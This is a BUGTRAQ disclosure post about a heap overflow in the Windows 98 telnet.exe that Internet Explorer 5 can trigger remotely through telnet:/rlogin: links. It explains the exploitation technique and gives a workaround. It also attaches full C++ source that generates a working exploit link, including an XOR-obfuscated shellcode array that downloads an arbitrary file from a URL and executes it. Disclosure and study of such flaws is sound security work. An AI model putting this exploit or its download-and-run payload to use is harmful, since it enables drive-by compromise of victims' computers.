Subject: telnet.exe heap overflow - remotely exploitable To: BUGTRAQ@SECURITYFOCUS.COM Heap Overflow in windows 98 Telnet.exe - remote via IE5 ------------------------------------------------------------ Jeremy Kothe (jeremy@edi.com.au or paceflow@hotmail.com) More fun and games courtesy of Microsoft (c:)... Telnet.exe - (77824 bytes, 11th May 98) --------------------------------------- This version of Telnet (which ships as part of Windows 98) has a bug which allows a heap overrun. It assumes that the first command-line argument will be <255 chars when preparing for the "Connect Failed" message-box. The result is that a few crucial bytes can be written over, which, as the telnet app is closing, allow full execution of arbitrary code. See below for full details... This is still all local, though, so let's skip to the REMOTE part. IE 5.00.2314.1003/5.00.2314.1003IC ---------------------------------- Internet Explorer automatically invokes telnet when given an "rlogin:", "telnet:" or "tn3270:" protocol URL. Earlier versions of IE which I experimented with had comparitively tight restrictions on the format of the url, only allowing two parameters through (two zeros to you and me ;) As it turns out, this is not enough (for me) to exploit the bug. But with the versions named above, which as of writing include the latest version Microsoft would let me download, the restrictions seem to have been lifted. I can only assume that this is either unintentional, or that tn3270 or telnet applications have been found which makes this desirable... Whatever! The end result is that it seems the most recent versions of IE 5 will faithfully pass any collection of parameters up to about 460 chars into telnet.exe. Systems at risk --------------- Windows 98 default installation with SOME versions of IE5. If you click on a link, or are refreshed to a link, then see telnet.exe pop-up, complaining that it can't connect to a garbage-type address, DO NOT close the telnet executable. Instead, either forcefully terminate the process, or reboot. The exploit does NOT take effect until telnet.exe is closing. Solution -------- Either remove telnet.exe from the path, so IE cannot launch it, or get a copy of the WinNT telnet.exe. Exploit - introduction ---------------------- Heap overruns are not for the faint of heart. If you have trouble following stack overrun exploits, turn back now - or go and learn, then come back. With a stack overflow, getting the machine to execute into our buffer is relatively easy. We have, after all, overwritten the function return address. Point this (indirectly or not) at the esp and you're in business. Without this benefit, we have a much tougher time exploiting the overrun. In fact it is entirely possible that no exploit is possible. It all depends on what follows our buffer in memory. The best candidates for overwriting are pointers. If we can overwrite one which the program subsequently uses, we have a chance to make something happen. The trick is to ignore what the program is trying to do, and to look at what it's doing. One core idea I've found to be of value is this: One way to get execution onto the stack is to find a way to manipulate our uncorrupted stack. Often you will find a pointer to the stack (or command-line) somewhere not far from the top (of the stack). If it can be moved only a few bytes, or we can conspire to pop more than we push, we can then return to our buffer. Exploit - Intermediate - (Tools: SoftICE/IDA/PSEDIT) ---------------------------------------------------- The overrun we are presented with is only a handfull of bytes, just enough to overwrite one pointer value following the buffer in memory. This pointer, as it turns out, originally points to an array of 1024 pointers, which are either NULL, or point in turn to a 16-byte structure. From context this seems to be a file-handle table of sorts. When I examined the routine (fflush) where we end up referencing the pointer, it turns out that the code iterates thru the 1024 pointers, and for each non-NULL entry, it examines and conditionally changes the 16 byte structure pointed to. It is the change we are interested in. If the structure is represented as: DWORD dw1, dw2, dw3 then the effect of the change is: dw1 = dw3 dw2 = 0 Whilst examining various locations in memory where out exploit string ends up (there are a couple, as the command-line get passed, then parsed), I found one where the following 4k was allocated and 99% zeros. I also found at the top of the stack, about 12 bytes back, a pointer to our exploit string (WinMain lpCmdLine anyone), which was ripe to be copied down 8-bytes to overwrite a return address. Now ideally, if the memory I found was all blank, all I'd need to do would be to arrange for the trailing bytes of my exploit string to point to the appropriate place on the stack. This last DWORD, followed by 1024 DWORD zeros, would serve as a faux handle table which would overwrite a return address with a pointer to our exploit. Are you with me... If not, go back now. In the actual case I found there were indeed 1024 zeros, but there was also one non-zero DWORD directly after my exploit and before the zeros. I needed to remove these values for the table to not crash... so I used the same technique over again to remove it - adding another entry at the top of our table pointing to the offending location neatly removes it, then the second entry does the actual work, and the rest of the table is empty. Done. Complete. Works. Exploit Attached ---------------- I have worked out an exploit which downloads and runs an arbitrary file, and have included the source for a Visual C++ program to create a binary file containing the exploit as a link. Add (for example) an html header and footer, and you have it. Notes: The exploit uses URLDownloadToCacheFile and WinExec. Disassembling the binary file will show you the code (strings have been xor'ed with 0xFADE). Any comments on the exploit code would be appreciated. ------------------------------------------------------------ #include #include #include void Usage( void ) { printf( "Usage: exfact url(40) outfile\n" ); } #define URL_OFFSET 48 unsigned char aSploit[] = { 0x72, 0x6C, 0x6F, 0x67, 0x69, 0x6E, 0x3A, 0x33, 0xDB, 0x3B, 0xDB, 0x74, 0x53, 0xAB, 0x88, 0xB2, 0x97, 0xB1, 0x94, 0xF0, 0x9E, 0xB2, 0x96, 0xDE, 0xAF, 0x8C, 0xB6, 0x9A, 0x95, 0xA9, 0x94, 0xB2, 0x95, 0xBF, 0x9E, 0x8A, 0x95, 0x9D, 0x9B, 0xBD, 0x92, 0xBB, 0xBC, 0xB7, 0x96, 0xBB, 0xBB, 0xDE, 0x9C, 0xAA, 0x8A, 0xE4, 0xC8, 0xEE, 0xC9, 0xF0, 0xC9, 0xEE, 0xD4, 0xEC, 0xCB, 0xEC, 0xD4, 0xEF, 0xCA, 0x82, 0x9B, 0xF0, 0x9F, 0xA6, 0x9F, 0xDE, 0x92, 0xec, 0xc0, 0x9b, 0xb2, 0x66, 0x33, 0x53, 0xb9, 0x61, 0x35, 0xee, 0xd2, 0xae, 0xd4, 0xDE, 0xAD, 0xB7, 0x94, 0x9B, 0x82, 0xBB, 0x99, 0xDE, 0xB3, 0x01, 0xC1, 0xC3, 0x18, 0x8B, 0xD3, 0x8B, 0xF3, 0x66, 0xBA, 0xC0, 0x10, 0x8B, 0x12, 0x66, 0xBB, 0xB8, 0x10, 0x8B, 0x1B, 0x66, 0xBE, 0xC0, 0xC2, 0x8B, 0x36, 0x8B, 0x7C, 0x24, 0x04, 0x33, 0xC9, 0xB1, 0x2F, 0x66, 0x8B, 0x07, 0x66, 0x35, 0xDE, 0xFA, 0x66, 0x89, 0x07, 0x83, 0xC7, 0x02, 0xE0, 0xF1, 0x8B, 0x4C, 0x24, 0x04, 0x83, 0xC1, 0x06, 0x51, 0xFF, 0xD2, 0x8B, 0x4C, 0x24, 0x04, 0x83, 0xC1, 0x11, 0x51, 0x50, 0xFF, 0xD3, 0x8B, 0xD3, 0x8B, 0xD8, 0x8B, 0x4C, 0x24, 0x04, 0x83, 0xC1, 0x51, 0x51, 0x56, 0xFF, 0xD2, 0x8B, 0xF8, 0x8B, 0xEC, 0x81, 0xC4, 0xFF, 0xFB, 0xFF, 0xFF, 0x8B, 0x4D, 0x04, 0x83, 0xC1, 0x29, 0x33, 0xC0, 0x50, 0x50, 0x66, 0xB8, 0xFF, 0x03, 0x50, 0x8B, 0xC5, 0x05, 0xFF, 0xFB, 0xFF, 0xFF, 0x50, 0x51, 0x33, 0xC0, 0x50, 0xFF, 0xD3, 0x8B, 0xDC, 0x33, 0xC0, 0x50, 0x53, 0xFF, 0xD7, 0x33, 0xC0, 0x74, 0xFE, 0x62, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x28, 0x01, 0xB9, 0x20, 0x61, 0x88, 0xFD, 0x56, 0x20, 0x0C, 0x02, 0xB9, 0x20, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0xFC, 0x56, }; int main( int argc, char *argv[] ) { if( argc == 3 ) { DWORD dwURLlen = strlen( argv[ 1 ] )+1; if( dwURLlen < 40 ) { HANDLE h = CreateFile( argv[ 2 ], GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, 0 ); if ( h == INVALID_HANDLE_VALUE ) { printf( "Error creating %s\n", argv[ 2 ] ); return( 0 ); } DWORD dwWrit = 0; if( !WriteFile( h, aSploit, URL_OFFSET, &dwWrit, NULL ) || ( dwWrit != URL_OFFSET ) ) goto writeerr; for( char *p = argv[ 1 ]; ( *p ) && ( *(p+1) ); p+=2 ) *PWORD( p ) ^= 0xdefa; // 0xfade "little-endian"ed - should use htons? *PWORD( p ) ^= 0xdefa; if( !WriteFile( h, argv[ 1 ], dwURLlen, &dwWrit, NULL ) || ( dwWrit != dwURLlen ) ) goto writeerr; DWORD dwToWrite = sizeof( aSploit ) - ( URL_OFFSET + dwURLlen ); if( !WriteFile( h, &aSploit[ URL_OFFSET+dwURLlen ], dwToWrite, &dwWrit, NULL ) || ( dwWrit != dwToWrite ) ) goto writeerr; CloseHandle( h ); return( 0 ); } } Usage(); return( 1 ); writeerr: printf( "Error writing to %s\n", argv[ 2 ] ); return( 2 ); } ------------------------------------------------------------ P.S. Australian programmer with 19 years experience, C/++, Asm, Delphi, SQL, IP + more, looking for work overseas. Jeremy Kothe (jeremy@edi.com.au or paceflow@hotmail.com) P.P.S. When exposing these type of exploits, it is usual for the coder to launch into a tirade about Microsoft and what terrible software it writes to allow these... I feel that these people are missing the point, though. Microsoft has risen (very successfully) to the challenge of providing a couple of GENERAL PURPOSE, incredibly extensive operating systems for PC's. Anyone who prefers Linux for it's stability etc. should consider the cost (to the average end-user) of such stability. Microsoft have concentrated on the commercial requirements of the corporate Joe, and have written the software people (not jellyheads) need. Of course it would be wonderful if Windows was as solid as secure as a unix installation, but it is simply not the highest priority for the average PC user. ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com